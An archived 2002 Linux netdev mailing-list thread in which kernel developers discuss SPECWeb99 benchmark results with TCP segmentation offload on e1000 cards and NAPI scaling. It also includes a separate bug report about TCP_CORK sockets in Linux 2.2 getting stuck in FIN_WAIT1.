rv:1.1b) Gecko/20020822 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Nivedita Singhvi CC: Troy Wilson , jamal , linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 References: <200209052211.g85MBFdm099387@tempest.prismnet.com> <1031265571.3d77dd23caec4@imap.linux.ibm.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 79 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: haveblue@us.ibm.com Precedence: bulk X-list: netdev Nivedita Singhvi wrote: > SpecWeb99 doesnt execute the path that might benefit the > most from this patch - sendmsg() of large files - large writes > going down.. For those of you who don't know Specweb well, the average size of a request is about 14.5 kB. The largest files are ~5mb, but the largest top out at just under a meg. -- Dave Hansen haveblue@us.ibm.com From hadi@cyberus.ca Thu Sep 5 18:50:19 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Sep 2002 18:50:25 -0700 (PDT) Received: from cyberus.ca (mail.cyberus.ca [216.191.240.111]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g861oItG006260 for ; Thu, 5 Sep 2002 18:50:19 -0700 Received: from shell.cyberus.ca (shell [216.191.240.114]) by cyberus.ca (8.9.3/8.9.3/Cyberus Online Inc.) with ESMTP id VAA20181; Thu, 5 Sep 2002 21:54:27 -0400 (EDT) Received: from localhost (hadi@localhost) by shell.cyberus.ca (8.11.6+Sun/8.11.6) with ESMTP id g861lZA21781; Thu, 5 Sep 2002 21:47:35 -0400 (EDT) X-Authentication-Warning: shell.cyberus.ca: hadi owned process doing -bs Date: Thu, 5 Sep 2002 21:47:35 -0400 (EDT) From: jamal To: Nivedita Singhvi cc: Troy Wilson , , Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 In-Reply-To: <1031266115.3d77df4344463@imap.linux.ibm.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 80 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Thu, 5 Sep 2002, Nivedita Singhvi wrote: > > > value in your results is in saving on retransmits; I would think > > shoving the data down the NIC and avoid the fragmentation shouldnt > > give you that much significant CPU savings. Do you have any stats > > Why do say that? Wouldnt the fact that youre now reducing the > number of calls down the stack by a significant number provide > a significant saving? I am not sure; if he gets a busy system in a congested network, i can see the offloading savings i.e i am not sure if the amortization of the calls away from the CPU is sufficient enough savings if it doesnt involve a lot of retransmits. I am also wondering how smart this NIC in doing the retransmits; example i have doubts if this idea is briliant to begin with; does it handle SACKs for example? What about the du-jour algorithm, would you have to upgrade the NIC or can it be taught some new trickes etc etc. [also i can see why it makes sense to use this feature only with sendfile; its pretty much useless for interactive apps] Troy, i am not interested in the nestat -s data rather the TCP stats this NIC has exposed. Unless those somehow show up magically in netstat. cheers, jamal From niv@us.ibm.com Thu Sep 5 20:34:10 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Sep 2002 20:34:12 -0700 (PDT) Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g863Y9tG008434 for ; Thu, 5 Sep 2002 20:34:10 -0700 Received: from northrelay03.pok.ibm.com (northrelay03.pok.ibm.com [9.56.224.151]) by e1.ny.us.ibm.com (8.12.2/8.12.2) with ESMTP id g863cDEG075470; Thu, 5 Sep 2002 23:38:13 -0400 Received: from smtp.linux.ibm.com (ltc-eth1000.torolab.ibm.com [9.26.4.197]) by northrelay03.pok.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g863cB4V086584; Thu, 5 Sep 2002 23:38:12 -0400 Received: from imap.linux.ibm.com (imap.linux.ibm.com [9.27.103.44]) by smtp.linux.ibm.com (Postfix) with ESMTP id 8F14D3FE06; Thu, 5 Sep 2002 23:38:11 -0400 (EDT) Received: by imap.linux.ibm.com (Postfix, from userid 99) id D4B9E23C00D; Thu, 5 Sep 2002 23:38:10 -0400 (EDT) Received: from 9.65.33.25 ( [9.65.33.25]) as user niv@imap.linux.ibm.com by imap.linux.ibm.com with HTTP; Thu, 5 Sep 2002 20:38:10 -0700 Message-ID: <1031283490.3d7823228d9ed@imap.linux.ibm.com> Date: Thu, 5 Sep 2002 20:38:10 -0700 From: Nivedita Singhvi To: jamal Cc: Troy Wilson , linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.0 X-Originating-IP: 9.65.33.25 X-archive-position: 81 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niv@us.ibm.com Precedence: bulk X-list: netdev Quoting jamal : > I am not sure; if he gets a busy system in a congested network, i > can see the offloading savings i.e i am not sure if the amortization > of the calls away from the CPU is sufficient enough savings if it > doesnt involve a lot of retransmits. I am also wondering how smart > this NIC in doing the retransmits; example i have doubts if this > idea is briliant to begin with; does it handle SACKs for example? do you mean sack data being sent as a tcp option? dont know, lots of other questions arise (like timestamp on all the segments would be the same?). > Troy, i am not interested in the nestat -s data rather the TCP > stats this NIC has exposed. Unless those somehow show up magically > in netstat. most recent (dont know how far back) versions of netstat display /proc/net/snmp and /proc/net/netstat (with the Linux TCP MIB), so netstat -s should show you most of whats interesting. Or were you referring to something else? ifconfig -a and netstat -rn would also be nice to have.. thanks, Nivedita From davem@redhat.com Thu Sep 5 20:50:21 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Sep 2002 20:50:24 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g863oKtG009137 for ; Thu, 5 Sep 2002 20:50:21 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id UAA08313; Thu, 5 Sep 2002 20:47:22 -0700 Date: Thu, 05 Sep 2002 20:47:21 -0700 (PDT) Message-Id: <20020905.204721.49430679.davem@redhat.com> To: hadi@cyberus.ca Cc: tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 From: "David S. Miller" In-Reply-To: References: <200209051830.g85IUMdH096254@tempest.prismnet.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 82 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: jamal Date: Thu, 5 Sep 2002 16:59:47 -0400 (EDT) I would think shoving the data down the NIC and avoid the fragmentation shouldnt give you that much significant CPU savings. It's the DMA bandwidth saved, most of the specweb runs on x86 hardware is limited by the DMA throughput of the PCI host controller. In particular some controllers are limited to smaller DMA bursts to work around hardware bugs. Ie. the headers that don't need to go across the bus are the critical resource saved by TSO. I think I've said this a million times, perhaps the next person who tries to figure out where the gains come from can just reply with a pointer to a URL of this email I'm typing right now :-) From davem@redhat.com Thu Sep 5 20:59:28 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Sep 2002 20:59:33 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g863xRtG009910 for ; Thu, 5 Sep 2002 20:59:27 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id UAA08427; Thu, 5 Sep 2002 20:56:27 -0700 Date: Thu, 05 Sep 2002 20:56:26 -0700 (PDT) Message-Id: <20020905.205626.73509740.davem@redhat.com> To: hadi@cyberus.ca Cc: niv@us.ibm.com, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 From: "David S. Miller" In-Reply-To: References: <1031266115.3d77df4344463@imap.linux.ibm.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 83 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: jamal Date: Thu, 5 Sep 2002 21:47:35 -0400 (EDT) I am not sure; if he gets a busy system in a congested network, i can see the offloading savings i.e i am not sure if the amortization of the calls away from the CPU is sufficient enough savings if it doesnt involve a lot of retransmits. I am also wondering how smart this NIC in doing the retransmits; example i have doubts if this idea is briliant to begin with; does it handle SACKs for example? What about the du-jour algorithm, would you have to upgrade the NIC or can it be taught some new trickes etc etc. [also i can see why it makes sense to use this feature only with sendfile; its pretty much useless for interactive apps] Troy, i am not interested in the nestat -s data rather the TCP stats this NIC has exposed. Unless those somehow show up magically in netstat. There are no retransmits happening, the card does not analyze activity on the TCP connection to retransmit things itself it's just a simple header templating facility. Read my other emails about where the benefits come from. In fact when connection is sick (ie. retransmits and SACKs occur) we disable TSO completely for that socket. From davem@redhat.com Thu Sep 5 21:01:46 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Sep 2002 21:01:48 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8641ktG010367 for ; Thu, 5 Sep 2002 21:01:46 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id UAA08463; Thu, 5 Sep 2002 20:58:42 -0700 Date: Thu, 05 Sep 2002 20:58:42 -0700 (PDT) Message-Id: <20020905.205842.127265672.davem@redhat.com> To: niv@us.ibm.com Cc: hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 From: "David S. Miller" In-Reply-To: <1031283490.3d7823228d9ed@imap.linux.ibm.com> References: <1031283490.3d7823228d9ed@imap.linux.ibm.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 84 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Nivedita Singhvi Date: Thu, 5 Sep 2002 20:38:10 -0700 most recent (dont know how far back) versions of netstat display /proc/net/snmp and /proc/net/netstat (with the Linux TCP MIB), so netstat -s should show you most of whats interesting. Or were you referring to something else? ifconfig -a and netstat -rn would also be nice to have.. TSO gets turned off during retransmits/SACK and the card does not do retransmits. Can we move on in this conversation now? :-) From niv@us.ibm.com Thu Sep 5 21:16:46 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Sep 2002 21:16:47 -0700 (PDT) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g864GktG011179 for ; Thu, 5 Sep 2002 21:16:46 -0700 Received: from westrelay05.boulder.ibm.com (westrelay05.boulder.ibm.com [9.17.193.33]) by e35.co.us.ibm.com (8.12.2/8.12.2) with ESMTP id g864KoBA008482; Fri, 6 Sep 2002 00:20:50 -0400 Received: from smtp.linux.ibm.com (ltc-eth1000.torolab.ibm.com [9.26.4.197]) by westrelay05.boulder.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g864KeZL060734; Thu, 5 Sep 2002 22:20:41 -0600 Received: from imap.linux.ibm.com (imap.linux.ibm.com [9.27.103.44]) by smtp.linux.ibm.com (Postfix) with ESMTP id 29F9D3FE06; Fri, 6 Sep 2002 00:20:48 -0400 (EDT) Received: by imap.linux.ibm.com (Postfix, from userid 99) id 6DCF023C00D; Fri, 6 Sep 2002 00:20:47 -0400 (EDT) Received: from 9.65.33.25 ( [9.65.33.25]) as user niv@imap.linux.ibm.com by imap.linux.ibm.com with HTTP; Thu, 5 Sep 2002 21:20:47 -0700 Message-ID: <1031286047.3d782d1f27162@imap.linux.ibm.com> Date: Thu, 5 Sep 2002 21:20:47 -0700 From: Nivedita Singhvi To: "David S. Miller" Cc: hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 References: <1031283490.3d7823228d9ed@imap.linux.ibm.com> <20020905.205842.127265672.davem@redhat.com> In-Reply-To: <20020905.205842.127265672.davem@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.0 X-Originating-IP: 9.65.33.25 X-archive-position: 85 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niv@us.ibm.com Precedence: bulk X-list: netdev Quoting "David S. Miller" : > > ifconfig -a and netstat -rn would also be nice to have.. > > TSO gets turned off during retransmits/SACK and the card does not > do > retransmits. > > Can we move on in this conversation now? :-) Sure :). The motivation for seeing the stats though would be to get an idea of how much retransmission/SACK etc activity _is_ occurring during Troy's SpecWeb runs, which would give us an idea of how often we're actually doing segmentation offload, and better idea of how much gain its possible to further get from this(ahem) DMA coalescing :). Some of Troy's early runs had a very large number of packets dropped by the card. thanks, Nivedita From davem@redhat.com Thu Sep 5 21:20:03 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Sep 2002 21:20:05 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g864K3tG011553 for ; Thu, 5 Sep 2002 21:20:03 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id VAA08601; Thu, 5 Sep 2002 21:17:04 -0700 Date: Thu, 05 Sep 2002 21:17:03 -0700 (PDT) Message-Id: <20020905.211703.38779558.davem@redhat.com> To: niv@us.ibm.com Cc: hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 From: "David S. Miller" In-Reply-To: <1031286047.3d782d1f27162@imap.linux.ibm.com> References: <1031283490.3d7823228d9ed@imap.linux.ibm.com> <20020905.205842.127265672.davem@redhat.com> <1031286047.3d782d1f27162@imap.linux.ibm.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 86 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Nivedita Singhvi Date: Thu, 5 Sep 2002 21:20:47 -0700 Sure :). The motivation for seeing the stats though would be to get an idea of how much retransmission/SACK etc activity _is_ occurring during Troy's SpecWeb runs, which would give us an idea of how often we're actually doing segmentation offload, and better idea of how much gain its possible to further get from this(ahem) DMA coalescing :). Some of Troy's early runs had a very large number of packets dropped by the card. One thing to do is make absolutely sure that flow control is enabled and supported by all devices on the link from the client to the test spedweb server. Troy can do you do that for us along with the statistic dumps? Thanks. From Martin.Bligh@us.ibm.com Thu Sep 5 23:45:59 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Sep 2002 23:46:01 -0700 (PDT) Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g866jwtG015466 for ; Thu, 5 Sep 2002 23:45:59 -0700 Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.194.22]) by e1.ny.us.ibm.com (8.12.2/8.12.2) with ESMTP id g866o2EG117966; Fri, 6 Sep 2002 02:50:02 -0400 Received: from [10.10.2.3] (sig-9-65-197-17.mts.ibm.com [9.65.197.17]) by westrelay01.boulder.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g866nvhA072964; Fri, 6 Sep 2002 00:49:58 -0600 Date: Thu, 05 Sep 2002 23:48:42 -0700 From: "Martin J. Bligh" Reply-To: "Martin J. Bligh" To: "David S. Miller" , hadi@cyberus.ca cc: tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Nivedita Singhvi Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 Message-ID: <18563262.1031269721@[10.10.2.3]> In-Reply-To: <20020905.204721.49430679.davem@redhat.com> References: <20020905.204721.49430679.davem@redhat.com> X-Mailer: Mulberry/2.1.2 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline X-archive-position: 87 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Martin.Bligh@us.ibm.com Precedence: bulk X-list: netdev > I would think shoving the data down the NIC > and avoid the fragmentation shouldnt give you that much significant > CPU savings. > > It's the DMA bandwidth saved, most of the specweb runs on x86 hardware > is limited by the DMA throughput of the PCI host controller. In > particular some controllers are limited to smaller DMA bursts to > work around hardware bugs. > > Ie. the headers that don't need to go across the bus are the critical > resource saved by TSO. I'm not sure that's entirely true in this case - the Netfinity 8500R is slightly unusual in that it has 3 or 4 PCI buses, and there's 4 - 8 gigabit ethernet cards in this beast spread around different buses (Troy - are we still just using 4? ... and what's the raw bandwidth of data we're pushing? ... it's not huge). I think we're CPU limited (there's no idle time on this machine), which is odd for an 8 CPU 900MHz P3 Xeon, but still, this is Apache, not Tux. You mentioned CPU load as another advantage of TSO ... anything we've done to reduce CPU load enables us to run more and more connections (I think we started at about 260 or something, so 2900 ain't too bad ;-)). Just to throw another firework into the fire whilst people are awake, NAPI does not seem to scale to this sort of load, which was disappointing, as we were hoping it would solve some of our interrupt load problems ... seems that half the machine goes idle, the number of simultaneous connections drop way down, and everything's blocked on ... something ... not sure what ;-) Any guesses at why, or ways to debug this? M. PS. Anyone else running NAPI on SMP? (ideally at least 4-way?) From davem@redhat.com Thu Sep 5 23:55:01 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Sep 2002 23:55:04 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g866t1tG015954 for ; Thu, 5 Sep 2002 23:55:01 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id XAA10784; Thu, 5 Sep 2002 23:51:59 -0700 Date: Thu, 05 Sep 2002 23:51:59 -0700 (PDT) Message-Id: <20020905.235159.128049953.davem@redhat.com> To: Martin.Bligh@us.ibm.com Cc: hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, niv@us.ibm.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 From: "David S. Miller" In-Reply-To: <18563262.1031269721@[10.10.2.3]> References: <20020905.204721.49430679.davem@redhat.com> <18563262.1031269721@[10.10.2.3]> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 88 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: "Martin J. Bligh" Date: Thu, 05 Sep 2002 23:48:42 -0700 Just to throw another firework into the fire whilst people are awake, NAPI does not seem to scale to this sort of load, which was disappointing, as we were hoping it would solve some of our interrupt load problems ... Stupid question, are you sure you have CONFIG_E1000_NAPI enabled? NAPI is also not the panacea to all problems in the world. I bet your greatest gain would be obtained from going to Tux and using appropriate IRQ affinity settings and making sure Tux threads bind to same cpu as device where they accept connections. It is standard method to obtain peak specweb performance. From mbp@samba.org Fri Sep 6 00:07:34 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 00:07:39 -0700 (PDT) Received: from sngrel5.hp.com (sngrel5.hp.com [192.6.86.210]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8677VtG016456 for ; Fri, 6 Sep 2002 00:07:33 -0700 Received: from ctss200.sgp.hp.com (ctss200.sgp.hp.com [15.68.10.200]) by sngrel5.hp.com (Postfix) with ESMTP id 9BA5A6C3 for ; Fri, 6 Sep 2002 15:11:35 +0800 (SGP) Received: from XAUBRG2.AUS.HP.COM (xaubrg2.aus.hp.com [15.23.69.43]) by ctss200.sgp.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with SMTP id PAA04362 for ; Fri, 6 Sep 2002 15:11:34 +0800 (SGP) Received: from 15.23.69.43 by XAUBRG2.AUS.HP.COM (InterScan E-Mail VirusWall NT); Fri, 06 Sep 2002 17:11:30 +1000 Received: from XAUBRG2.AUS.HP.COM (localhost [127.0.0.1]) by XAUBRG2.AUS.HP.COM with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2656.59) id SJWWPBW1; Fri, 6 Sep 2002 17:11:30 +1000 Received: from 16.176.68.120 by XAUBRG2.AUS.HP.COM (InterScan E-Mail VirusWall NT); Fri, 06 Sep 2002 17:11:29 +1000 Received: from mbp by vexed.aus.hp.com with local (Exim 3.35 #1 (Debian)) id 17nDGm-0007N2-00; Fri, 06 Sep 2002 17:11:08 +1000 Date: Fri, 6 Sep 2002 17:11:08 +1000 From: Martin Pool To: alan@redhat.com, netdev@oss.sgi.com Subject: linux 2.2 TCP_CORK FIN_WAIT1 reproducible bug Message-ID: <20020906071108.GC26914@samba.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4i X-GPG: 1024D/A0B3E88B: AFAC578F 1841EE6B FD95E143 3C63CA3F A0B3E88B X-archive-position: 89 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mbp@samba.org Precedence: bulk X-list: netdev I think I've found a bug in 2.2's TCP stack, in which sockets can get into FIN_WAIT1 with no timer and stay stuck indefinitely. Steps to reproduce seem to be basically as follows: From a client running 2.2.16, open a TCP socket to a server. Set TCP_CORK, write some data, exit. The exit ought to implicitly close the socket, but instead the socket goes into FIN_WAIT1 and never closes properly. netstat on the client shows tcp 0 44 192.168.0.146:1146 192.168.0.209:4200 FIN_WAIT1 off (0.00/0/0) As far as I can make out, this is a state that should never occur: if there is data still in the send queue, then there should always be a timer running to retransmit it and/or probe the remote machine for more window space. Also, I would think that in FIN_WAIT1 there ought to be a timer that will cause the FIN to be retransmitted in case it was lost. On the server: ngoh@build04.foo.com $ netstat -ton | grep 4200 tcp 0 0 192.168.0.209:4200 192.168.0.146:1146 ESTABLISHED off (0.00/0/0) So it looks to me like the server just does not see a FIN from the client. The server application (distccd) is just blocked in read(), waiting for more data or EOF. tcpdump seems to show that the client just never sends the FIN 22:16:21.690340 build03.foo.com.1146 > build04.foo.com.4200: S 1541177197:1541177197(0) win 32120 (DF) 22:16:21.690537 build04.foo.com.4200 > build03.foo.com.1146: S 1546103786:1546103786(0) ack 1541177198 win 32120 (DF) 22:16:21.690593 build03.foo.com.1146 > build04.foo.com.4200: . ack 1 win 32120 (DF) 22:16:21.691329 build03.foo.com.1146 > build04.foo.com.4200: P 1:1448(1447) ack 1 win 32120 (DF) 22:16:21.691822 build04.foo.com.4200 > build03.foo.com.1146: . ack 1448 win 31856 (DF) If the TCP_CORK is never inserted, or if the application removes the cork before exiting, then things work properly. Also, this works properly on 2.4.18. It seems that the problem is not to do with firewalling troubles or packet loss. This was originally observed by Hien D. Ngo on 2.2.16 and 2.2.19 while trying out my program distcc on some Red Hat 6.2 machines. All of the gory details are available here: http://lists.samba.org/pipermail/distcc/2002q3/thread.html I don't have any 2.2 machines myself, but if necessary I can install it and try to reproduce the problem. So I would guess that there is some kind of bug in tcp_snd_test()'s logic for deciding whether to send a packet. The comment there claims to handle this case of close() with cork in place, but it seems that it is not. (I don't really know if it's that function, it could be elsewhere.) The final statement is return ((!tail || nagle_check || skb_tailroom(skb) < 32) && ((tcp_packets_in_flight(tp) < tp->snd_cwnd) || (TCP_SKB_CB(skb)->flags & TCPCB_FLAG_FIN)) && !after(TCP_SKB_CB(skb)->end_seq, tp->snd_una + tp->snd_wnd) && tp->retransmits == 0); As far as I can see all of these are true, so either my assumptions are wrong, or this function is not itself the problem. We're OK on the first, because nagle_check will be 1. We're OK on the second because presumably TCPCB_FLAG_FIN is set. We're OK on the third because there's plenty of space in the window. And we should be OK on the fourth because the packet hasn't been retransmitted. I wonder if the transmit queue actually has a small data packet ahead of the FIN packet, and the data packet is not being sent and therefore jamming up the works? If that was true, and they somehow did not get combined, then... flags for that packet would not have FIN, and the length would be less than the mss_cache, so nagle_check would become 0. It wouldn't be the tail; the nagle check would be false, and it wouldn't be nearly full. So tcp_snd_test() would return 0. Anyhow, I hope you find it an interesting bug. Please cc me on replies and let me know if there's anything I can do to help. (Incidentally, distcc is pretty cool if you ever compile large programs, like, say, the kernel. On my 3 PCs it builds 2.6 times faster, and it's pretty trivial to install. Try it, you'll like it.) -- Martin From akpm@zip.com.au Fri Sep 6 00:18:44 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 00:18:54 -0700 (PDT) Received: from vasquez.zip.com.au (vasquez.zip.com.au [203.12.97.41]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g867IgtG017280 for ; Fri, 6 Sep 2002 00:18:43 -0700 Received: from zip.com.au (root@zipperii.zip.com.au [61.8.0.87]) by vasquez.zip.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id RAA28158; Fri, 6 Sep 2002 17:22:31 +1000 X-Authentication-Warning: vasquez.zip.com.au: Host root@zipperii.zip.com.au [61.8.0.87] claimed to be zip.com.au Message-ID: <3D785AE4.A7E3DF2D@zip.com.au> Date: Fri, 06 Sep 2002 00:36:04 -0700 From: Andrew Morton X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.5.33 i686) X-Accept-Language: en MIME-Version: 1.0 To: "David S. Miller" CC: Martin.Bligh@us.ibm.com, hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, niv@us.ibm.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 References: <18563262.1031269721@[10.10.2.3]> <20020905.235159.128049953.davem@redhat.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 90 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@zip.com.au Precedence: bulk X-list: netdev "David S. Miller" wrote: > > ... > > NAPI is also not the panacea to all problems in the world. > Mala did some testing on this a couple of weeks back. It appears that NAPI damaged performance significantly. http://www-124.ibm.com/developerworks/opensource/linuxperf/netperf/results/july_02/netperf2.5.25results.htm From davem@redhat.com Fri Sep 6 00:25:57 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 00:25:59 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g867PvtG018012 for ; Fri, 6 Sep 2002 00:25:57 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id AAA11159; Fri, 6 Sep 2002 00:22:54 -0700 Date: Fri, 06 Sep 2002 00:22:53 -0700 (PDT) Message-Id: <20020906.002253.32989079.davem@redhat.com> To: akpm@zip.com.au Cc: Martin.Bligh@us.ibm.com, hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, niv@us.ibm.com, Robert.Olsson@data.slu.se Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 From: "David S. Miller" In-Reply-To: <3D785AE4.A7E3DF2D@zip.com.au> References: <18563262.1031269721@[10.10.2.3]> <20020905.235159.128049953.davem@redhat.com> <3D785AE4.A7E3DF2D@zip.com.au> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 91 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: 